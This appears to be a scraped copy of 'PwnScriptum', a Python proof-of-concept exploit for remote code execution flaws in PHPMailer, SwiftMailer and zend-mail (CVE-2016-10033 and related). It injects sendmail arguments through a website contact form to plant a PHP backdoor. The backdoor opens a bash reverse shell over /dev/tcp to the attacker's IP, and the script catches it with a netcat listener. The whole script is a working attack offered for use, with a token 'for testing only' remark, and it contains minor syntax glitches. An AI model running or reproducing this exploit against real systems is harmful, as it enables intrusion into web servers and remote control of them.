1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 |
#!/usr/bin/python intro = """\033[94m __ __ ____ __ / / _______ _____ _/ // / / /___ ______/ /_______________ / / / _ \/ __ <code>/ __ </code>/ // /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ / /___/__/ /_/ / /_/ / // __/ /_/ / /__/ ,< /__/ /(__) /_____/\___/\__, /\__,_/_//_/ /_/\__,_/\___/_/|_|\___/_//____/ /____/ PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit a.k.a "PwnScriptum" CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074 This PoC exploit aims to execute a reverse shell on the target in the context of the web-server user via vulnerable PHP email library. Discovered and Coded by: \033[1;34m Dawid Golunski https://legalhackers.com t: @dawid_golunski for updates \033[0m \033[94m P.$. For testing only! Don't break the Web ;) \033[0m """ info = """ [Version] Limited (ver. 1.0) [PoC Video] See the the exploit in action at: https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html [Info] This exploit targets a common webapp component - Contact Form. It combines payloads for the following vulns: 1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html 2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass) https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html 3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html 4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html [Usage] ./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT [-d TARGET_UP_DIR] -ip ATTACKERS_IP [-p ATTACKERS_PORT] [--version] [--post-action POST_ACTION] [--post-name POST_NAME] [--post-email POST_EMAIL] [--post-msg POST_MSG] Note, make sure the contact form matches the default field names (send/name/email/msg). Otherwise override with --post-msg=message_box for example. """ import os import argparse import time import urllib import urllib2 import socket import sys # The Main Meat print intro # Show info if '-H' in sys.argv: print info exit(0) # Parse input args parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)') parser.add_argument('-H', action='store_true', default="false", required=False,help='Full Help / Info Page') parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True,help='WebApp Base Url') parser.add_argument('-cf',dest='CONTACT_SCRIPT',required=True,help='Contact Form scriptname') parser.add_argument('-d' ,dest='TARGET_UP_DIR', required=False, help='Target Upload Dir') parser.add_argument('-ip',dest='ATTACKERS_IP',required=True,help='Attackers Public IP for RevShell') parser.add_argument('-p', dest='ATTACKERS_PORT',required=False, help='Attackers Port for RevShell listener') parser.add_argument('--version', action='version', version='%(prog)s 1.0 Limited edition') parser.add_argument('--post-action', dest='POST_ACTION',required=False, help='Overrides POST "action" field name', default="send") parser.add_argument('--post-name', dest='POST_NAME',required=False, help='Overrides POST "name of sender" field name', default="name") parser.add_argument('--post-email',dest='POST_EMAIL', required=False, help='Overrides POST "email" field name',default="email") parser.add_argument('--post-msg',dest='POST_MSG', required=False, help='Overrides POST "message" field name',default="msg") args = parser.parse_args() # Preset vars TMOUT = 3 # Set Vars if args.ATTACKERS_PORT is None: args.ATTACKERS_PORT = 8080 if args.TARGET_UP_DIRis None: args.TARGET_UP_DIR = "upload" # Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;) BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php' BACKDOOR_URL= args.WEBAPP_BASE_URL + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT # Show params print """[+] Setting vars to: \n WEBAPP_BASE_URL = [%s] CONTACT_SCRIPT= [%s] TARGET_UP_DIR = [%s] ATTACKERS_IP= [%s] ATTACKERS_PORT= [%s] CONTACT_SCRIPT_URL= [%s] BACKDOOR_FILEl= [%s] """ % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE) print "[+] Choose your target / payload: " print "\033[1;34m" print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n""" print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) The escapeshellarg() bypass :)\n""" print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n""" print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n""" print "\033[0m" try: target = int(raw_input('[?] Select target [1-2]: ')) except ValueError: print "Not a valid choice. Exiting\n" exit(2) if (target>4): print "No such target. Exiting\n" exit(3) if target == 1: # PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) if target == 2: # Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) payload = "\"attacker\\' -oQ/tmp/ -X%s/%ssome\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE) if target == 3: # SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) if target == 4: # Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR # PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g: # e.g: #RCE_PHP_CODE = "<?php phpinfo(); ?>" RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' ");?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT) # The form names might need to be adjusted post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE} # Attack # Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor print "[+] Backdoor upload via the contact form at '%s'\n" % CONTACT_SCRIPT_URL data = urllib.urlencode(post_fields) req = urllib2.Request(CONTACT_SCRIPT_URL, data) response = urllib2.urlopen(req) the_page = response.read() # Check if the backdoor was uploaded correctly. # A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine # So we catch the timeout to find out. # Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL got_timeout = 0 http_err = 0 try: urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1)) except urllib2.HTTPError as e: http_err = e.code except socket.timeout as e: print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n" got_timeout = 1 if (got_timeout != 1): print "[!] Something went wrong... Got error: [%d] \nTry another dir? Push through, don't give up! :)\n" % http_err exit(2) # Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n" print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n" os.system("nc -v -l -p %d" % args.ATTACKERS_PORT) print "\n[+] Shell closed\n" print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n" |